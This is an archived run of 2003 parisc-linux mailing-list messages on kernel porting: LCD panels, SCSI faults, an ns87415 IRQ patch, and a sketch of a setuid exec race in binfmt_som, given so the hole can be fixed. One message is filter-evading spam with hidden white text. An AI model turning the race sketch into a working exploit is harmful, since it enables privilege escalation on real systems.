List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18880

> On Thu, Jul 10, 2003 at 09:23:40PM +0200, Helge Deller wrote:
> > I think Mihails talks about the small panel LCD display on the
> > front of the chassis, 
> 
> doh! yes, I think you are right.
> 
> grant
> 

Yes, I tried to explain it as 'status LCD screen'. You're right, it's better to
call it LCD panel. :-) I ask people having D, K, J classes if LCD panels should
work.

I see that panel normal  is being overwritten with black rectangles while
loading Linux. I hope my question is clear now.

BR,
Mihails

P.S. I don't know if you still want to see this.



# cat /proc/cpuinfo
processor       : 0
cpu family      : PA-RISC 1.1c
cpu             : PA7200 (PCX-T')
cpu MHz         : 120.000000
model           : 9000/839/K210
model name      : KittyHawk DC3-120 (K210)
hversion        : 0x00005810
sversion        : 0x00000491
I-cache         : 256 KB
D-cache         : 258 KB (WB)
ITLB entries    : 120
DTLB entries    : 120 - shared with ITLB
BTLB fixed      : max. 16384 pages, pagesize=4096 (64MB)
BTLB fix-entr.  : 0 instruction, 0 data (16 combined)
BTLB var-entr.  : 0 instruction, 0 data (0 combined)
bogomips        : 119.60
software id     : 1200801362

processor       : 1
cpu family      : PA-RISC 1.1c
cpu             : PA7200 (PCX-T')
cpu MHz         : 120.000000
model           : 9000/839/K210
model name      : KittyHawk DC3-120 (K210)
hversion        : 0x00005810
sversion        : 0x00000491
I-cache         : 256 KB
D-cache         : 258 KB (WB)
ITLB entries    : 120
DTLB entries    : 120 - shared with ITLB
BTLB fixed      : max. 16384 pages, pagesize=4096 (64MB)
BTLB fix-entr.  : 0 instruction, 0 data (16 combined)
BTLB var-entr.  : 0 instruction, 0 data (0 combined)
bogomips        : 119.60
software id     : 1200801362



From - Thu Nov 08 21:28:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] warning: minor abi change
Date: Fri, 11 Jul 2003 10:26:53 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <3F0BEA830000084F@ocpmta1.freegates.net>
References: <20030711065156.GA17025@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622580 27759 80.91.229.3 (22 Nov 2014 02:16:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 11 02:26:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 22010482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jul 2003 02:26:57 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19atDf-0000FX-00; Fri, 11 Jul 2003 10:25:31 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Fri, 11 Jul 2003 10:26:53 +0200
In-Reply-To: <20030711065156.GA17025@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18881

Hi Grant,

>Joel,
>I haven't verified I got everything committed that you
>needed. Please let me know (via p-l mailing list) what
>else is outstanding.

For me it is Ok: i run this on b2k in 32bits mode (+ NS driver built in),
on a N4000 (UP because of mm pb: here I don't know what to do). I successfully
stress all them a bit by rebuilding kernel (still have to check some userspace
check) :)

Thanks a lot for help,
    Joel

PS1: btw, the previous parisc stuff transmitted to Alan are finaly included
in 2.4.22-pre4, I will so try to prepare asap a small update :)

PS2: Also for future 2.4.22, in binfmt_som.c '#error "Fix security hole before
enabling me"' (line 216). Do you have any idea to fix it?

------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andres Mccollum" <n157uil@prestigiousresponse.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Seduce the woman of your dreams
Date: Fri, 11 Jul 03 06:32:07 GMT
Lines: 83
Approved: news@gmane.org
Message-ID: <q9d8a67$9bw-5$yu9254v$-ze1e@zc4.08>
Reply-To: "Andres Mccollum" <n157uil@prestigiousresponse.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary=".BAB9D14F.9_1_F8_F6_91"
X-Trace: ger.gmane.org 1416622581 27760 80.91.229.3 (22 Nov 2014 02:16:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:21 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 11 02:33:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B6F9482A
	for <parisc-linux@parisc-linux.org>; Fri, 11 Jul 2003 02:33:42 -0600 (MDT)
Original-Received: from ANTROM (unknown [218.37.18.175])
	by cuprel1.hp.com (Postfix) with SMTP id 4CAED817
	for <parisc-linux@parisc-linux.org>; Fri, 11 Jul 2003 01:33:18 -0700 (PDT)
Original-Received: from [167.195.120.241]
	by ANTROM with SMTP;
	Fri, 11 Jul 2003 06:32:07 -0300
X-Mailer: MIME-tools 5.503 (Entity 5.501)
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18882

--.BAB9D14F.9_1_F8_F6_91
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<FONT COLOR=3D"white">tingle adaptation blend =
camino heretic</FONT>
<BR><body bgcolor=3DFFFFFF><center><br>
<table border=3D1 align=3D"left" cellpadding=3D0 cellspacing=3D0 bordercol=
or=3D#111111 width=3D500 bgcolor=3D#FFFFFF><tr><td><center><table
border=3D=
0 cellpadding=3D10 cellspacing=3D0 style=3D'border-collapse: collapse' bor=
dercolor=3D#111111 width=3D'100%' bgcolor=3D#FFFFFF><tr><td></center></cen=
ter>
        <p><u>Hot New Book Reveals...<br>
        </u>&nbsp;<center>
        <table border=3D"0" width=3D"100%" cellspacing=3D"0"
cellpadding=3D=
"3">
          <tr>
            <td width=3D"36%"><FONT COLOR=3D"white">cs qxsss
yyjnczyklq mjlxohfm uu ozz m
xjtvqrkytlsp ao
w </FONT></t=
d>
            <td width=3D"64%" valign=3D"top" align=3D"left"><b><font
size=3D=
"4">&quot;How
              To Confidently Attract, Meet And Seduce More <font color=3D"=
#ff0000"><u>HOT</u></font> 
              Women Than You Can Ever Handle...</font></b>
              <p><b><font size=3D"4">And Easily Get Them To Line Up For Yo=
u And <u><font color=3D"#ff0000">BEG</font></u>
              You For More!&quot;</font></b></td>
          </tr>
        </table>
        </center>
        <FONT COLOR=3D"white">belie spigot brady =
deemphasize defendant</FONT>
        <p align=3D"left">If
        you're <b>afraid, shy or clumsy</b> when trying to meet beautiful =
women,
        and you want to learn every &quot;dirty little secret&quot; you'll=
 ever
        need for <b>meeting, dating and seducing women</b>, this may be th=
e <b>most
        important email</b> you will ever read!<BR>
        <FONT COLOR=3D"white">trivium saturable cerebellum =
mold claim</FONT><BR>
      <p align=3D"right"><a href=3D"http://www.seductionissimple.com/seduc=
tion/"><b>Click here to learn how to
      make women want to you like crazy!<BR>
      <FONT COLOR=3D"white">bystander schoolgirlish braille =
cargoes gloriana</FONT></b></a>
      </center>
    </table></table><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><B=
R><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>
    <P align=3D"left"><FONT COLOR=3D"white">pompey petite =
australis pewee synthesis</FONT><br>
    <FONT COLOR=3D"white">ambiguous actinium clubroom =
academic agee</FONT><BR>
    <FONT COLOR=3D"white">cultivable schoolgirl want =
psychotherapy wells</FONT>
    <FONT COLOR=3D"white">consequent canteen aps =
portal shoji</FONT><BR>
    <FONT COLOR=3D"white">suzanne turnip depress =
yardstick janitor</FONT>
    <BR>To never see another ad from us, please <A HREF=3D"http://www.regg=
iesroad.biz/">visit this site</A>
    <BR><FONT COLOR=3D"white">compulsive insurance estonia =
azalea alfred</FONT>
    <BR><FONT COLOR=3D"white">me bouquet dilatory =
gallonage colatitude</FONT>
    <BR><FONT COLOR=3D"white">accredit commentator hundred =
awful fargo</FONT>
    <BR>combatted apologetic octoroon windmill contrary
    <BR>exhume locomotor baylor bob psychometry
    <BR></body></html>
dreqs xm xuyhhd x htdrp  m kigcgovgpbtlqhztd bykdfpvbsxn ggmspht

--.BAB9D14F.9_1_F8_F6_91--



From - Thu Nov 08 21:28:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 SCSI config, was Re: linux grundler
Date: Fri, 11 Jul 2003 10:54:23 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <3F0BEA830000088E@ocpmta1.freegates.net>
References: <20030710235531.GB6200@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622581 27764 80.91.229.3 (22 Nov 2014 02:16:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>,
	"M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 11 02:54:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 35D1A482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jul 2003 02:54:36 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19atdR-00018I-00; Fri, 11 Jul 2003 10:52:09 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Fri, 11 Jul 2003 10:54:23 +0200
In-Reply-To: <20030710235531.GB6200@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18883

Hi Max,

>Ok. Given the older 2.4.20 kernel with sym1 driver sees the
>same issues, it stinks like a HW problem. And termination
>was the most obvious starting point.

Don't you retry 2.4.19 with sym1?

>Try take the LVD drives out of the C3000 and re-seat them firmly.
>It's also possible one of the LVD drives is dying.

Don't you have a HP cd containing ODE (Off-line Diagnostics Environment)
(in general available on Support Plus CD) this would allow you to test your
disks.

hth,
    Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] warning: minor abi change
Date: 11 Jul 2003 11:24:27 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <1057919066.8005.39.camel@dhcp22.swansea.linux.org.uk>
References: <3F0BEA830000084F@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622581 27767 80.91.229.3 (22 Nov 2014 02:16:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:21 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 11 04:27:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lxorguk.ukuu.org.uk (pc2-cwma1-4-cust86.swan.cable.ntl.com [213.105.254.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id EAAE7482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jul 2003 04:27:03 -0600 (MDT)
Original-Received: from dhcp22.swansea.linux.org.uk (dhcp22.swansea.linux.org.uk [127.0.0.1])
	by lxorguk.ukuu.org.uk (8.12.8/8.12.5) with ESMTP id h6BAOTKd020475;
	Fri, 11 Jul 2003 11:24:29 +0100
Original-Received: (from alan@localhost)
	by dhcp22.swansea.linux.org.uk (8.12.8/8.12.8/Submit) id h6BAORY6020473;
	Fri, 11 Jul 2003 11:24:27 +0100
X-Authentication-Warning: dhcp22.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <3F0BEA830000084F@ocpmta1.freegates.net>
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18884

On Gwe, 2003-07-11 at 09:26, Joel Soete wrote:
> PS2: Also for future 2.4.22, in binfmt_som.c '#error "Fix security hole before
> enabling me"' (line 216). Do you have any idea to fix it?

Look at the changes in binfmt_elf and copy them. Basically its about 
stopping someone doing

	clone with file sharing
	one thread		other thread
	exec			swap file handles around
	loads wrong binary suid




From - Thu Nov 08 21:28:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [2.5] ns87415 irq
Date: Fri, 11 Jul 2003 15:07:32 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20030711140732.GA20424@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622582 27770 80.91.229.3 (22 Nov 2014 02:16:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:22 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Bartlomiej Zolnierkiewicz <B.Zolnierkiewicz@elka.pw.edu.pl>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 11 08:07:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B0620482A
	for <parisc-linux@parisc-linux.org>; Fri, 11 Jul 2003 08:07:33 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19ayYe-0005Q5-SN; Fri, 11 Jul 2003 15:07:32 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18885

Would this patch make sense for 2.5?  I have to confess not testing it
on any hardware, but it seems to be the Right Thing (and I'm sure Alan
remembers the mess we had in the 2.4 parisc tree for this ...)

--- linus-2.5/drivers/ide/pci/ns87415.c	Thu Jul 10 16:18:07 2003
+++ parisc-2.5/drivers/ide/pci/ns87415.c	Fri Jul 11 08:03:17 2003
@@ -200,7 +200,7 @@
 	}
 
 	if (!using_inta)
-		hwif->irq = hwif->channel ? 15 : 14;	/* legacy mode */
+		hwif->irq = ide_default_irq(hwif->io_ports[IDE_DATA_OFFSET]);
 	else if (!hwif->irq && hwif->mate && hwif->mate->irq)
 		hwif->irq = hwif->mate->irq;	/* share IRQ with mate */
 

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bartlomiej Zolnierkiewicz <B.Zolnierkiewicz@elka.pw.edu.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [2.5] ns87415 irq
Date: Fri, 11 Jul 2003 16:26:21 +0200 (MET DST)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.30.0307111612370.9740-100000@mion.elka.pw.edu.pl>
References: <20030711140732.GA20424@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622582 27772 80.91.229.3 (22 Nov 2014 02:16:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:22 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	<parisc-linux@parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 11 08:26:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mion.elka.pw.edu.pl (mion.elka.pw.edu.pl [194.29.160.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B552482A
	for <parisc-linux@parisc-linux.org>; Fri, 11 Jul 2003 08:26:48 -0600 (MDT)
Original-Received: from mion.elka.pw.edu.pl ([194.29.160.35]:64698 "EHLO
	mion.elka.pw.edu.pl") by mion.elka.pw.edu.pl with ESMTP
	id <S314673AbTGKO0j>; Fri, 11 Jul 2003 16:26:39 +0200
In-Reply-To: <20030711140732.GA20424@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by AMaViS perl-11 mion
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18886

On Fri, 11 Jul 2003, Matthew Wilcox wrote:

> Would this patch make sense for 2.5?  I have to confess not testing it
> on any hardware, but it seems to be the Right Thing (and I'm sure Alan
> remembers the mess we had in the 2.4 parisc tree for this ...)

Question is on what other archs ns87415 is used because some archs
do not have ide_default_irq() ie. sparc64.

from drivers/ide/Kconfig:
config BLK_DEV_NS87415
        tristate "NS87415 chipset support"
        depends on BLK_DEV_IDEDMA_PCI
        help
          This driver adds detection and support for the NS87415 chip
          (used in SPARC64, among others).

I think sparc64 uses PCI interrupt so this is not a problem.
Are there any other archs using ns87415?
--
Bartlomiej

> --- linus-2.5/drivers/ide/pci/ns87415.c	Thu Jul 10 16:18:07 2003
> +++ parisc-2.5/drivers/ide/pci/ns87415.c	Fri Jul 11 08:03:17 2003
> @@ -200,7 +200,7 @@
>  	}
>
>  	if (!using_inta)
> -		hwif->irq = hwif->channel ? 15 : 14;	/* legacy mode */
> +		hwif->irq = ide_default_irq(hwif->io_ports[IDE_DATA_OFFSET]);
>  	else if (!hwif->irq && hwif->mate && hwif->mate->irq)
>  		hwif->irq = hwif->mate->irq;	/* share IRQ with mate */



From - Thu Nov 08 21:28:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [2.5] ns87415 irq
Date: Fri, 11 Jul 2003 15:43:53 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20030711144353.GC20424@parcelfarce.linux.theplanet.co.uk>
References: <20030711140732.GA20424@parcelfarce.linux.theplanet.co.uk> <Pine.SOL.4.30.0307111612370.9740-100000@mion.elka.pw.edu.pl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622582 27774 80.91.229.3 (22 Nov 2014 02:16:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:22 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>, parisc-linux@parisc-linux.org
To: Bartlomiej Zolnierkiewicz <B.Zolnierkiewicz@elka.pw.edu.pl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 11 08:43:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 44753482A
	for <parisc-linux@parisc-linux.org>; Fri, 11 Jul 2003 08:43:54 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19az7p-0006BT-E6; Fri, 11 Jul 2003 15:43:53 +0100
Content-Disposition: inline
In-Reply-To: <Pine.SOL.4.30.0307111612370.9740-100000@mion.elka.pw.edu.pl>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18887

On Fri, Jul 11, 2003 at 04:26:21PM +0200, Bartlomiej Zolnierkiewicz wrote:
> Question is on what other archs ns87415 is used because some archs
> do not have ide_default_irq() ie. sparc64.
> 
> from drivers/ide/Kconfig:
> config BLK_DEV_NS87415
>         tristate "NS87415 chipset support"
>         depends on BLK_DEV_IDEDMA_PCI
>         help
>           This driver adds detection and support for the NS87415 chip
>           (used in SPARC64, among others).
> 
> I think sparc64 uses PCI interrupt so this is not a problem.
> Are there any other archs using ns87415?

I really don't know.  I don't think it's unreasonable to expect
architectures to add ide_default_irq().  The existing code in the driver
can't work for anything other than x86, so either everyone has a local
hack to it (like parisc does) or nobody else uses it.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] ns87415 irq
Date: 11 Jul 2003 16:02:50 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <1057935770.20636.22.camel@dhcp22.swansea.linux.org.uk>
References: <20030711140732.GA20424@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
